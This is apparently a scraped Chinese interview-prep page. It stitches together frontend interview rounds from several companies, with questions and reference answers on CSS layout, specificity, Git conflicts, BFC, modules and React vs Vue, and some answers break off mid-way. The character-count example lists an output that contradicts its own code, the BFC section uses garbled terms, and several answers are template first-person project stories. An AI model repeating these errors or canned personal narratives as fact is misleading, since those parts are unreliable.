我接触前端开发大约有三年时间了。从大二开始，我就对前端产生了浓厚的兴趣，并系统地投入到学习中。这三年里，我从基础的HTML、CSS、JavaScript开始，逐步深入学习了React、Vue等主流前端框架，以及Webpack、Vite等构建工具，并参与了一些实际项目开发。

在学习前端之前，我在大学一年级接触过C++和Java等编程语言。C++的学习让我对底层逻辑、数据结构和算法有了初步的认识，培养了我的编程思维和解决问题的能力。而Java的学习则让我对面向对象编程、软件工程的思想有了更深的理解，尤其是在后端开发实践中，我了解了前后端分离、API接口设计等概念，这对于我理解前端与后端的数据交互和系统架构非常有帮助。这些早期的编程语言学习经历，为我后续学习JavaScript和前端框架打下了坚实的基础，让我能够更快地理解前端技术的原理和实现机制，例如，对数据结构和算法的理解，让我能够更好地优化前端应用的性能，提升用户体验。

总的来说，虽然前端是我主要深耕的方向，但其他编程语言的学习经历拓宽了我的技术视野，也让我能够从更全面的角度去思考和解决前端开发中的问题。我始终保持着对新技术的学习热情，并乐于将不同领域的知识融会贯通，应用到实际项目中。

5. 你提到的两个项目，分别是什么？简单介绍一下它们的背景和功能。

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：分别介绍项目的背景、你的角色、主要负责的功能、以及项目中使用到的关键技术栈。强调项目亮点和你的贡献。

参考答案

好的，我很乐意介绍我参与的两个主要项目。

第一个项目是一个在线教育平台的前端重构项目。背景是公司原有的教育平台技术栈老旧，用户体验不佳，且维护成本高昂。我作为前端开发实习生，主要负责其中"课程详情页"和"直播互动模块"的重构工作。课程详情页的核心功能是展示课程内容、教师信息、课程大纲和用户评论，并支持课程购买和加入学习。直播互动模块则需要实现实时弹幕、点赞、提问和答疑等功能，确保高并发下的数据同步和流畅交互。

在这个项目中，我主要负责：

课程详情页： 使用 React + Redux 技术栈，重构了页面组件，优化了数据请求和渲染逻辑，显著提升了页面加载速度和用户交互体验。特别是在图片懒加载和评论区无限滚动方面进行了性能优化，将首屏加载时间缩短了约30%。
直播互动模块： 参与了WebSocket通信的实现，确保弹幕消息的实时推送和展示。同时，为了保证在高并发场景下的性能，我们采用了虚拟列表技术来渲染大量弹幕，避免了DOM节点的过度渲染导致的页面卡顿。我还负责了前端的输入校验和敏感词过滤，确保互动内容的合规性。

第二个项目是一个企业内部的"项目管理系统"。这个系统的背景是公司内部各部门的项目信息分散，缺乏统一的管理和协作平台，导致沟通效率低下。我主要负责其"任务看板"和"数据可视化报表"模块的开发。任务看板旨在提供一个直观的Kanban视图，展示项目的任务状态（待办、进行中、已完成），并支持拖拽排序、任务分配、截止日期设置等功能。数据可视化报表则需要将项目进度、成员工作量、缺陷趋势等数据通过图表形式清晰地呈现。

在这个项目中，我主要负责：

任务看板： 采用了Vue 3 + Vuex + Element UIPlus 技术栈，实现了任务的增删改查和拖拽功能。为了提升用户体验，我利用Vue的响应式特性和虚拟DOM，确保了大量任务卡片操作时的流畅性。同时，设计并实现了自定义拖拽指令，提升了组件的通用性和可维护性。
数据可视化报表： 集成了ECharts图表库，根据后端提供的API数据，实现了项目概览、成员工作负荷、Bug趋势等多种报表的动态渲染。我负责了数据的前端处理和格式化，确保图表能够准确、清晰地展示数据，并通过组件化封装，使得报表可以灵活配置和复用。在实现过程中，也针对数据量较大时的图表渲染性能做了优化，例如按需加载图表组件和数据预处理。

通过这两个项目，我不仅巩固了前端基础和框架应用能力，更重要的是，学习了如何在实际复杂项目中进行需求分析、技术选型、性能优化以及团队协作。这些经验让我对前端工程化和项目管理有了更深入的理解。

百度-文库-校招 · 第 1 轮 · 一面

Sat, 19 Jul 2025 07:40:07 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本轮面试侧重于考察候选人的JavaScript基础知识、CSS布局能力、对浏览器工作原理的理解以及实际编码能力。重点在于事件循环、异步编程、闭包、原型链等核心概念，同时也涵盖了跨域、缓存等常见Web问题。

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 实现一个三栏布局，左右侧固定200px，中间自适应，写出至少两种方案。追问：Grid布局中fr单位的作用？如何解决Flex布局的浏览器兼容问题？

题目要点

CSS布局能力：面试官想确认你是否熟练掌握现代CSS布局技术，如Flexbox和Grid，以及是否了解传统的布局方法。
布局方案的优劣对比：能否分析不同方案的适用场景和优缺点，体现出技术选型的思考能力。
CSS单位的理解：对fr这类现代布局单位的深入理解，表明你不是只会“复制粘贴”代码。
兼容性处理经验：在实际项目中如何处理浏览器兼容性问题，这是衡量工程师经验的重要指标。

参考答案

1.1 原理说明

三栏布局是前端开发中的经典布局问题，旨在实现一个两侧宽度固定、中间区域宽度自适应的页面结构。核心是处理中间区域如何填满剩余空间。

Flexbox（弹性盒子布局）：是一种一维布局模型，它让容器内的项目（item）能够灵活地分配空间。通过设置父容器display: flex，并为子项设置flex-grow（放大比例）、flex-shrink（缩小比例）和flex-basis（基准大小），可以轻松实现空间的自适应分配。对于三栏布局，可以将中间栏的flex-grow设为1，使其占据所有剩余空间。
Grid（网格布局）：是一种二维布局模型，可以将页面划分为行和列，并在这些行列构成的单元格中放置内容。通过grid-template-columns属性，可以精确定义每一列的宽度，使用fr单位可以非常方便地实现自适应。
fr 单位：fr是 “fractional unit”（分数单位）的缩写，用于Grid布局中。它代表了可用空间的一等份。例如，grid-template-columns: 200px 1fr 200px;意味着第一个和第三个元素宽度为200px，中间的元素占据所有剩余的可用空间。如果是1fr 2fr，则表示两者按1:2的比例分配可用空间。

1.2 核心用法 + 示例代码

方案一：Flexbox 布局这是目前最常用和推荐的方案，代码简洁且语义化。

使用场景：适用于绝大部分现代浏览器项目，尤其是一维方向（行或列）的布局。
注意点：需要注意旧版本浏览器的兼容性问题。

<div class="container-flex">
 <div class="left">左侧固定</div>
 <div class="main">中间自适应</div>
 <div class="right">右侧固定</div>
</div>

<style>
 .container-flex {
 display: flex;
 height: 100vh;
 }
 .left, .right {
 width: 200px;
 background-color: #f0f0f0;
 }
 .main {
 flex: 1; /* 等同于 flex-grow: 1; flex-shrink: 1; flex-basis: 0%; */
 background-color: #e0e0e0;
 }
</style>

方案二：Grid 布局Grid布局在处理二维对齐时更具优势，实现三栏布局同样非常简单。

百度-文库-校招 · 第 1 轮 · 二面

Sat, 19 Jul 2025 07:40:07 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 二面深入考察了前端核心知识的应用和原理理解。重点包括CSS优先级、闭包与内存管理、JavaScript继承的多种实现方式、原型链的深层理解、虚拟DOM的性能优化原理以及Vue框架的高级特性。题目更侧重于“为什么”和“如何实现”，要求候选人不仅知其然，更要知其所以然。

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 自我介绍，没有实习过。

题目要点

沟通表达能力：能否清晰、自信地介绍自己。
潜力与热情：在没有实习经历的情况下，如何通过个人项目、技术博客、开源贡献等来证明自己的技术热情和学习能力。
求职动机：为什么选择这个岗位和公司。

参考答案

此题为个人经验总结，请根据自身情况作答。核心是突出自己的优势、学习能力和对前端的热情，用项目经验或学习成果来弥补实习经历的不足。

2. 最终颜色是什么？为什么？

<div class="box" id="content" style="color:red"></div>

.box { color: blue }
#content { color: green }

题目要点

CSS优先级（Specificity）：这是CSS核心概念之一，考察对不同选择器权重的理解和计算能力。
CSS规则来源：是否了解行内样式、内部样式表、外部样式表的优先级关系。

参考答案

1.1 原理说明

CSS的优先级（Specificity），也常被称为特殊性或权重，是浏览器用来决定当多个规则应用到同一个元素上时，哪一条规则生效的计算方法。

优先级的计算规则可以总结为一个四元组 (a, b, c, d)：

a: 行内样式（Inline styles）：如 style="color: red;"。如果存在，a为1，否则为0。
b: ID选择器：如 #content。b为ID选择器的数量。
c: 类选择器、属性选择器、伪类选择器：如 .box, [type="text"], :hover。c为这些选择器的总数量。
d: 标签选择器、伪元素选择器：如 div, ::before。d为这些选择器的总数量。

比较规则：从a开始，逐位比较。a大的胜出；如果a相同，则比较b，b大的胜出；以此类推。只有在优先级完全相同时，才会根据样式在代码中出现的顺序来决定，“后来者居上”。

另外，!important声明拥有最高优先级，它会覆盖任何其他声明，但应避免滥用。

1.2 核心用法 + 示例代码

我们来分析题目中的三个样式规则：

行内样式：style="color:red"
- 优先级计算：a=1, b=0, c=0, d=0 -> (1, 0, 0, 0)
ID选择器：#content { color: green }
- 优先级计算：a=0, b=1, c=0, d=0 -> (0, 1, 0, 0)
类选择器：.box { color: blue }
- 优先级计算：a=0, b=0, c=1, d=0 -> (0, 0, 1, 0)

比较结果：

百度-地图-秋招 · 第 1 轮 · 三面

Sat, 19 Jul 2025 06:27:27 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮共 7 道题。答案默认折叠，便于先自行作答。

1. 讲一个你觉得最有成就感的项目？

题目要点

这个问题的回答重点不在于项目多复杂，而在于是否能通过一个真实的项目，清晰地表达出在关键阶段的判断力、推动力和技术价值。能讲出一个对业务和团队产生正向影响的案例，并体现出“为什么重要”、“怎么做的”、“结果如何”以及“有哪些沉淀”，才是打动面试官的关键。

参考答案

这个问题考察的是候选人在复杂项目中的角色、思维方式以及实际落地能力。回答时不必拘泥于“成功上线”或“技术高大上”的标准，更重要的是能体现出技术价值、业务洞察和综合影响力。

可以从以下几个方向展开：

1. 项目背景与挑战

项目是否处于关键节点（如业务转型、架构重构、性能瓶颈期），是否需要协调多个团队或跨端协作。重点在于说明“项目为什么重要”以及“初始面临的困难”，而不仅仅是“做了一个新功能”。

2. 所承担的角色与关键决策

可以适当展示一些深度思考，比如为什么选用了某项技术、重构的策略、组件化拆分方式、数据模型设计等。还可以强调在混乱或模糊中推动落地、制定标准、推动流程优化等能力。

3. 结果与影响

不仅仅是“功能上线”，更重要的是对业务、团队或系统带来了什么实质性的改进，比如性能提升、迭代效率变高、可维护性提升、用户体验改善、业务增长支持等。

4. 成长与反思

有价值的项目往往伴随着“认知升级”，比如原来低估了技术债的影响，或者通过实际落地理解了“领域驱动设计”的意义。这个部分体现出个人复盘能力。

2. 平时用哪个地图软件，你觉得百度地图和高德地图有什么区别？

题目要点

这个问题背后考察的是候选人是否能够从日常使用中提炼出产品与技术的理解。如果能结合体验差异、技术架构、场景适配和生态思考给出分析，而不是停留在“哪个好用”这类主观评价层面，将更容易体现出产品敏感度和技术视野。

参考答案

这个问题虽然看似轻松，其实背后是面试官在考察候选人是否具备产品意识、用户视角以及对技术背后的生态和体验差异的敏感度。

回答可以从以下几个方向展开：

1. 使用习惯和使用场景

地图类产品往往不止于“导航”，不同场景下用户会对产品有不同诉求，例如：

日常通勤更关注路线精准、避堵能力；
出行规划更看重 POI（兴趣点）搜索能力；
步行、骑行、公交路线推荐的体验也会有所差异。

可以结合真实使用感受，说明更倾向哪一个地图工具，并说明选择背后的产品逻辑。

2. 产品体验差异

从前端视角，可以提到一些常见的 UI/UX 差异，例如：

高德地图整体交互更轻量，响应更快，视觉上偏简洁；
百度地图在信息展示上更丰富，比如搜索结果信息量较大，适合城市探索或综合决策；
两者在加载速度、动效、地图渲染逻辑、图层处理等方面也有细节差异。

3. 数据能力与技术架构差异

可适当提及：

百度地图在自然语言搜索、智能推荐、AI 语义处理方面表现更突出；
高德地图更注重实时交通、路线规划和精准避堵，背后依赖阿里生态中调度算法与实时数据的融合；
技术开发角度，百度地图在 web 开发中更注重全家桶式工具链，而高德的 SDK 则更强调灵活性和接入效率。

4. 生态与平台联动

从更高层次看，还可以提及两者在生态整合上的不同：

高德地图与支付宝、饿了么、飞猪等联动，强调生活服务整合；
百度地图则依托百度搜索、百度 AI、大模型、自动驾驶等形成了更 AI 驱动的生态闭环。

3. 在多人协作开发中，若遇到接口定义不一致或代码冲突，你会如何推动问题解决？

题目要点

这个问题的核心在于是否具备跨人、跨团队推动协作问题闭环的能力。能够主动定位问题源头、推动规范和工具落地、在冲突中引导沟通达成共识，是一个成熟前端在协作场景中的重要价值体现。回答不应仅限于“怎么解决”，更要体现出“如何避免”和“如何沉淀机制”。

百度-地图-秋招 · 第 1 轮 · 二面

Sat, 19 Jul 2025 06:27:27 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 本轮面试考察了前端基础能力、网络协议、Vue响应式原理、构建工具底层实现，以及手写能力与业务建模能力，重点在于深入理解底层原理和综合解决问题的能力。

本轮共 11 道题。答案默认折叠，便于先自行作答。

1. 讲一下你的前端模块化的理解

题目要点

模块化发展历程、ES Module 和 CommonJS 区别、模块加载机制、Tree-shaking原理。

参考答案

原理说明

模块化的目的：为了提高代码的可维护性、复用性和依赖管理能力，将代码组织为独立模块。
发展历程：
- 无模块化（全局变量）
- IIFE 模式（立即执行函数）
- CommonJS（Node.js 标准，同步加载）
- AMD / CMD（异步模块定义）
- ES Module（ES6 标准模块系统，浏览器原生支持）
CommonJS vs ES Module：
- CommonJS 是同步加载，适用于服务端；ES Module 是静态分析+异步加载，适用于浏览器。
- ES Module 支持 Tree-shaking，CommonJS 不支持。

核心用法 + 示例代码

// ES Module
export const add = (a, b) => a + b;
import { add } from './utils.js';

常见误区

将 ES Module 和 CommonJS 混用，导致打包失败。
忽视 ES Module 是静态结构，不能在运行时动态导入变量名模块（需使用 import()）。

2. HTTP/2 解决 HTTP/1.1什么问题？

题目要点

HTTP/2 优化点、HTTP/1.1 的瓶颈、性能原理

腾讯-视频-校招 · 第 1 轮 · 一面

Thu, 17 Jul 2025 14:02:21 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： - 考点覆盖：网络协议（HTTP/HTTPS、OSI、WebSocket、QUIC、CORS）、安全（XSS、缓存投毒）、性能优化（缓存、懒加载/预加载）、工程化（版本更新、路由）、Vue框架细节。

难易度：中等偏上。前6题基础网络必会，7-10题需理解协议差异与实战场景，11-16题偏重安全与缓存的落地策略，17-20题考察框架原理与工程思维，梯度合理但深度要求高。

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 统计出现次数最多的字符以及出现的次数

题目描述：

编写一个函数，接收一个字符串作为输入，统计并返回出现次数最多的字符及其出现的次数。如果有多个字符出现次数相同且最多，则返回所有这些字符及其出现次数。
输入输出要求：

输入：一个字符串（只包含字母和数字）。
输出：一个对象，包含出现次数最多的字符及其出现次数。示例：

const input = "aabbccddde";
const result = mostFrequentChar(input);
console.log(result); // 输出：{ a: 2, b: 2, c: 2, d: 3, e: 1 }

题目要点

时间复杂度：O(n)，需要遍历字符串两次
空间复杂度：O(k)，k为不同字符的数量
关键点：正确理解题意，返回所有出现次数最多的字符
优化：可以在统计过程中同时记录最大值，减少遍历次数

参考答案

这道题需要统计字符串中每个字符的出现次数，然后找出出现次数最多的字符。需要注意的是，题目要求如果有多个字符出现次数相同且最多，要返回所有这些字符。

解题思路：

遍历字符串，使用Map或对象统计每个字符的出现次数
找出最大出现次数
筛选出所有达到最大出现次数的字符
返回结果对象

代码实现：

function mostFrequentChar(str) {
 // 边界情况处理
 if (!str || str.length === 0) {
 return {};
 }

 // 统计每个字符的出现次数
 const charCount = {};
 for (let char of str) {
 charCount[char] = (charCount[char] || 0) + 1;
 }

 // 找出最大出现次数
 const maxCount = Math.max(...Object.values(charCount));

 // 筛选出所有达到最大出现次数的字符
 const result = {};
 for (let [char, count] of Object.entries(charCount)) {
 if (count === maxCount) {
 result[char] = count;
 }
 }

 return result;
}

// 优化版本：使用Map，一次遍历完成
function mostFrequentCharOptimized(str) {
 if (!str || str.length === 0) {
 return {};
 }

 const charCount = new Map();
 let maxCount = 0;

 // 统计字符出现次数，同时记录最大值
 for (let char of str) {
 const count = (charCount.get(char) || 0) + 1;
 charCount.set(char, count);
 maxCount = Math.max(maxCount, count);
 }

 // 构建结果对象
 const result = {};
 for (let [char, count] of charCount) {
 if (count === maxCount) {
 result[char] = count;
 }
 }

 return result;
}

测试用例：

美团-酒旅-前端面经 · 第 1 轮 · 一面

Thu, 17 Jul 2025 08:18:40 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮共 13 道题。答案默认折叠，便于先自行作答。

1. 简历提到你熟悉Git，请问如何处理代码合并时的冲突？

题目要点

面试官出这道题主要想确认哪些知识维度？
- Git基础操作：考察候选人对Git版本控制工具的熟悉程度，尤其是合并（merge）和解决冲突（conflict resolution）等核心操作。
- 问题解决能力：在实际开发中遇到代码冲突时，候选人如何分析问题、定位冲突并有效解决。
- 协作开发经验：在团队协作中，如何避免冲突，以及在发生冲突后如何与其他团队成员协作解决。
该题所考知识点中有哪些高频实际应用点？
- 日常代码合并：开发者在日常工作中频繁进行分支合并，冲突处理是不可避免的环节。
- 版本回溯与管理：理解冲突解决机制有助于更好地进行版本管理和历史回溯。
- 团队协作效率：高效解决冲突能够提高团队的开发效率和代码质量。

参考答案

1.1 原理说明

Git冲突是指在合并（merge）或变基（rebase）分支时，不同分支对同一个文件的相同部分进行了修改，或者一个分支修改了文件而另一个分支删除了该文件，导致Git无法自动判断保留哪个修改时发生的情况。Git会暂停合并操作，并将冲突部分标记出来，等待用户手动解决。

冲突的产生： 当两个或多个开发者对同一个文件的同一行或同一区域进行修改，并将各自的修改推送到远程仓库，在合并这些修改时，Git会提示冲突。

冲突的类型：

内容冲突：最常见，发生在同一个文件的相同行或相邻行被不同分支修改。
文件冲突：一个分支修改了文件，另一个分支删除了该文件；或者两个分支都创建了同名文件但内容不同。

1.2 核心用法 + 示例代码

处理Git合并冲突的主要步骤如下：

更新本地仓库：在进行合并操作前，通常需要先拉取远程最新代码，确保本地分支是最新的，减少潜在冲突。
```
git pull origin <your-branch>
```
执行合并操作：当你尝试将一个分支合并到另一个分支时，如果存在冲突，Git会提示并停止合并。
```
git merge <other-branch>
```
或者使用rebase：
```
git rebase <other-branch>
```
识别冲突标记：Git会在冲突文件中插入特殊标记，通常是：
```
<<<<<<&lt; HEAD
// 当前分支的修改
=======
// 待合并分支的修改
>>>>>>> <commit-id-or-branch-name>
```
- <<<<<<< HEAD：表示当前分支（HEAD指向）的代码。
- =======：分隔符，表示冲突的开始和结束。
- >>>>>>> <commit-id-or-branch-name>：表示待合并分支的代码。
手动解决冲突：
- 编辑冲突文件：根据业务需求，手动修改冲突文件，决定保留哪些代码，删除哪些代码。你可以选择保留其中一个分支的修改，或者结合两者的修改，甚至编写全新的代码。
- 删除冲突标记：在解决冲突后，务必删除<<<<<<<、=======和>>>>>>>这些Git自动添加的标记。
将解决后的文件标记为已解决：
```
git add <conflicted-file-name>
```
提交合并结果：在所有冲突文件都标记为已解决后，提交合并。

百度-地图-秋招 · 第 1 轮 · 一面

Thu, 10 Jul 2025 14:52:42 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： 基础知识面不少，进一步考察实际工程和性能优化能力

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. BFC的作用及触发条件，使用场景讲一下

题目要点

CSS 样式中 BFC 的概念、特性和触发条件
BFC 应用场景：避免多列排版间隔折行问题、清除浮动、各区域形成隔离

参考答案

1.1 原理说明

BFC (Block Formatting Context)，即块级格式化上下文。它是 W3C CSS2.1 中的一类属性，是一个独立的布局环境，在该环境里，按照特定规则进行元素排列和布局。

主要特性：

BFC 内部的元素不会和外部的元素受 margin 折行的影响
BFC 可以包裹内部浮动元素，解决父容器高度不拉伸问题
BFC 不会被浮动元素拉动

触发 BFC 的条件：

样式中定义此元素为 float (non-none)
正文模型 overflow 为 hidden, scroll, auto
display 为 inline-block, table-cell, flex, grid, flow-root
position 为 absolute 或 fixed

1.2 核心用法 + 示例代码

场景1：清除浮动 常用 BFC 包裹元素，使父元素的高度得以支撑

360集团-24年-校招 · 第 1 轮 · 一面

Wed, 09 Jul 2025 08:05:48 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察校招生的前端基础内容和项目经验。

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 前端学习路径

题目要点

本题为主观题，没有标准答案，主要考察候选人的学习能力、知识体系构建能力以及持续学习的动力。
面试官希望了解候选人获取新知识、解决问题的途径和习惯，以及对前端知识的理解是否系统、全面。
建议回答结构：我的前端启蒙与基础学习阶段 → 深入学习特定框架/技术 → 通过项目实践巩固与提升 → 持续学习与关注前沿技术。

参考答案

我的前端学习路径可以分为几个阶段。最初，我对互联网技术充满好奇，通过[提及学习方式，例如：慕课网上的入门课程和MDN文档]开始了前端的启蒙。在这个阶段，我扎实掌握了HTML、CSS和JavaScript这"三驾马车"的基础知识，理解了DOM操作、盒模型、BFC等核心概念。为了更好地实践，我还搭建了一些简单的静态页面和交互功能，这让我对前端有了初步的认识。

随着学习的深入，我意识到框架在大型项目开发中的重要性。我选择了[提及选择的框架，例如：React作为第一个深入学习的框架]，因为它在业界应用广泛且社区活跃。我通过[提及学习方式，例如：阅读官方文档、跟随开源项目教程，以及阅读《React设计模式与最佳实践》等书籍]，系统学习了React的组件化思想、生命周期、Hooks、状态管理（如Redux或Context API）等。为了融会贯通，我模仿并实现了一些[提及实践项目，例如：电商网站的商品详情页、用户管理后台界面]，并在其中积极实践了组件复用和性能优化。

在掌握React后，我又学习了Vue，主要是为了拓宽技术栈，了解不同框架的设计哲学。通过对比学习，我能更好地理解它们在数据响应式、模板语法、生态系统等方面的差异，这让我在技术选型时能有更全面的考量。项目实践是检验学习成果的最佳方式，我总是尝试将所学知识应用到实际项目中，例如[提及具体项目中的实践，例如：在一个数据可视化项目中，我负责了图表组件的封装和数据渲染优化，并解决了跨域请求等问题]，通过解决实际问题来加深理解和提升能力。

此外，我始终保持持续学习的习惯。我关注前端技术社区，如GitHub Trending、掘金、知乎专栏等，定期阅读技术博客和行业报告，了解最新的前端趋势和技术发展，比如[提及关注的新技术，例如：WebAssembly、微前端、Serverless等]。我认为前端技术发展迅速，只有不断学习和实践，才能保持竞争力。当遇到新的技术挑战时，我通常会先查阅官方文档，然后搜索相关的技术文章和社区讨论，如果依然无法解决，会向有经验的同事或社区前辈请教。这个过程不仅帮助我解决了问题，也锻炼了我独立思考和解决问题的能力。

2. 你提到对React和Vue都了解，对比两者的差异？在项目中如何选择？

题目要点

框架基础掌握：确认候选人对React和Vue两大主流前端框架的核心概念、工作原理有深入理解。
异同点辨析：考察候选人能否准确对比两者在数据管理、模板语法、生态系统等方面的差异。
项目选型能力：评估候选人是否具备根据项目需求、团队情况等因素，合理选择技术栈的决策能力。

参考答案

1.1 原理说明

React和Vue都是目前主流的前端UI框架，用于构建用户界面。它们都采用了组件化的开发思想和虚拟DOM技术来提高开发效率和性能。

React： React是一个由Facebook开发的用于构建用户界面的JavaScript库。它强调"一次学习，随处编写"，以其声明式视图、组件化、以及单向数据流而闻名。React的核心是JSX（JavaScript XML），一种允许在JavaScript中编写类似HTML结构的语法，这使得UI的逻辑和视图紧密结合。React的更新机制是基于状态的变化，当组件状态更新时，React会创建一个新的虚拟DOM树，然后与旧的虚拟DOM树进行对比（diff算法），最后只更新真实DOM中发生变化的部分。
Vue： Vue是一个渐进式JavaScript框架，用于构建用户界面。它被设计为可以自底向上逐层应用。Vue的核心库只关注视图层，易于上手，同时也方便与其他库或现有项目整合。Vue的主要特点包括双向数据绑定、基于HTML的模板语法（也可以使用JSX）、组件化以及响应式系统。Vue的响应式系统基于Object.defineProperty（Vue 2.x）或Proxy（Vue 3.x），能够追踪数据的变化并自动更新视图。

相关概念之间的联系和区别：

共同点：
- 组件化： 两者都提倡组件化开发，将UI拆分为独立的、可复用的组件。
- 虚拟DOM： 都使用虚拟DOM来提高性能，减少直接操作真实DOM的开销。
- 响应式： 都提供了响应式的数据绑定机制，数据变化时视图自动更新。
- 生态系统： 都拥有庞大且活跃的社区，提供丰富的工具、库和插件。
区别：
- 数据流： React推崇单向数据流（从父组件到子组件），而Vue支持双向数据绑定（v-model），使得表单处理等场景更为便捷。
- 模板语法： React倾向于使用JSX，将HTML和JS逻辑写在一起；Vue默认使用基于HTML的模板语法，通过指令（如v-if, v-for）增强HTML功能，也可以选择使用JSX或渲染函数。
- 状态管理： React通常结合Redux或Context API进行状态管理；Vue有官方的Vuex。两者都有各自的解决方案来管理复杂应用的状态。
- 学习曲线： 通常认为Vue的学习曲线相对平缓，对前端新手更友好；React由于其JSX和函数式编程的理念，可能需要一定的学习成本。
- 性能优化： Vue的响应式系统在很多情况下能自动进行细粒度的更新，减少开发者手动优化的工作；React的性能优化则更多依赖于shouldComponentUpdate、React.memo等手动优化手段。

1.2 核心用法 + 示例代码（如题目涉及）

由于题目是对比差异和选择，这里主要通过对比说明其在项目中的选择场景：

京东-健康-校招 · 第 1 轮 · 一面

Sun, 06 Jul 2025 14:16:57 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 中级偏上难度，适合有扎实基础和一定项目经验的应届生。既考察理论知识的深度，也注重实践能力的广度，需要候选人具备较强的学习能力和技术整合能力。

本轮要点： ### 考察范围

这轮校招面试主要考察四个维度：

个人经历和项目实战：通过学习经历、项目搭建、协作经验考察实际开发能力
移动端和多端开发：小程序开发、多端适配、移动端优化等实用技能
前端基础知识：JavaScript核心概念、Vue框架原理、浏览器工作机制等
工程化和架构思维：打包工具、插件开发、系统设计等高级能力

重点准备知识点

项目经验的系统性总结和技术亮点提炼
小程序开发框架和多端适配方案
JavaScript作用域、变量提升等核心机制
Vue组件通信、生命周期、插槽等框架特性
前端性能优化和工程化实践
实时通讯和AI集成的技术方案

本轮共 25 道题。答案默认折叠，便于先自行作答。

1. 介绍自己的学习和实习经历

题目要点

学习路径：从基础到框架的系统性学习过程
实习经验：具体项目和技术栈的实践应用
协作能力：与团队成员的配合和沟通经验
技术深度：不仅会用还要理解原理的学习态度

参考答案

在学习经历方面，计算机科学专业背景为前端开发奠定了扎实的理论基础。大学期间系统学习了数据结构、算法、计算机网络等核心课程，这些知识在后续的前端开发中发挥了重要作用。

前端技术的学习路径比较系统，从HTML、CSS、JavaScript基础开始，逐步深入到现代前端框架。先掌握了Vue.js的基本用法，然后学习了React和小程序开发。在学习过程中特别注重实践，每学习一个新技术都会通过项目来巩固理解。

实习经历主要集中在两个阶段。第一次实习主要负责公司官网的维护和功能迭代，使用Vue.js技术栈，参与了从需求分析到上线部署的完整流程。这个过程中学会了如何与产品经理、设计师协作，也了解了企业级项目的开发规范。

第二次实习参与了一个移动端项目的开发，使用uni-app框架实现多端适配。在这个项目中主要负责用户中心模块的开发，包括登录注册、个人信息管理、订单查询等功能。通过这次实习深入了解了移动端开发的特点和挑战。

在学习和实习过程中，特别注重技术深度的挖掘。不仅学会了如何使用各种技术，更重要的是理解了技术背后的原理。比如学习Vue时，会去了解响应式系统的实现机制；学习webpack时，会研究打包优化的各种策略。

2. 讲一下你的项目搭建过程，用到了哪个脚手架，有没有做其他工作？

题目要点

脚手架选择：Vue CLI vs Vite的适用场景和特点
配置定制：代码规范、构建优化、环境管理
开发规范：团队协作的标准化流程
工程化实践：组件库、测试、部署等完整流程

参考答案

项目搭建通常会根据具体需求选择合适的脚手架工具。对于Vue项目，主要使用Vue CLI和Vite两种方案。Vue CLI适合需要复杂配置的企业级项目，提供了完整的插件生态和配置选项。Vite则适合快速开发，启动速度更快，热更新体验更好。

具体的搭建流程包括几个关键步骤。首先是技术栈选择，根据项目需求确定使用的框架、UI库、状态管理方案等。然后使用脚手架创建基础项目结构，配置开发环境和构建流程。

在基础搭建完成后，会进行一系列的定制化配置。包括配置ESLint和Prettier确保代码质量，设置路由和状态管理的基础结构，配置axios拦截器处理API请求，设置环境变量管理不同环境的配置。

还会建立项目的开发规范，包括目录结构规范、组件命名规范、Git提交规范等。这些规范对于团队协作非常重要，能够保证代码的一致性和可维护性。

在构建优化方面，会配置代码分割、压缩、缓存等策略。对于生产环境，还会配置CDN、Gzip压缩、性能监控等。这些配置虽然不是核心业务逻辑，但对项目的性能和稳定性有重要影响。

除了技术层面的工作，还会考虑项目的可持续发展。比如建立组件库，提取公共组件和工具函数；配置自动化测试，保证代码质量；建立CI/CD流程，实现自动化部署。

3. 讲一下你在学校参与的协作项目

题目要点

项目背景：技术栈选择和架构设计
个人职责：具体负责的模块和功能实现
协作流程：Git管理、代码审查、敏捷开发
问题解决：接口对接、代码规范等实际挑战

参考答案

在学校期间参与了一个在线学习平台的开发项目，这是一个5人团队的协作项目，持续了一个学期。项目采用前后端分离的架构，前端使用Vue.js，后端使用Node.js。

在项目中主要负责用户管理和课程展示模块的开发。用户管理包括注册登录、个人信息维护、学习进度跟踪等功能。课程展示模块需要支持视频播放、课件下载、评论互动等复杂功能。

团队协作方面，使用Git进行版本控制，建立了完整的分支管理策略。主分支用于生产环境，开发分支用于功能集成，每个人都有自己的特性分支。通过Pull Request的方式进行代码审查，确保代码质量。

项目管理使用敏捷开发方法，每周进行一次迭代规划，每天有简短的站会同步进度。使用Trello进行任务管理，每个功能都有明确的负责人和完成时间。

腾讯-QQ浏览器-校招 · 第 1 轮 · 一面

Sun, 06 Jul 2025 13:37:36 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 中高级难度。既有基础概念的深度考察，也有复杂业务场景的解决方案设计，对于校招同学有一定的挑战。

本轮要点： ### 考察范围

这轮面试主要考察三个维度：

项目实战能力：通过虚拟列表、Token管理等具体技术方案考察解决复杂业务问题的能力
前端基础功底：涵盖浏览器原理、JavaScript核心机制、CSS布局、性能优化等核心知识
计算机基础：通过算法题考察数据结构和算法基础

重点准备知识点

虚拟列表等性能优化方案的深度理解和实践经验
HTTP协议、浏览器工作原理、缓存机制等网络基础
JavaScript事件循环、闭包、原型链等语言核心特性
Vue/React框架原理，特别是响应式系统和虚拟DOM
CSS布局方案和BFC等核心概念
前端工程化和性能优化实践
基础算法和数据结构

建议

深入理解前端核心概念，不仅知其然还要知其所以然
积累实际项目经验，特别是性能优化和复杂业务场景的解决方案
保持对新技术的敏感度，了解技术发展趋势
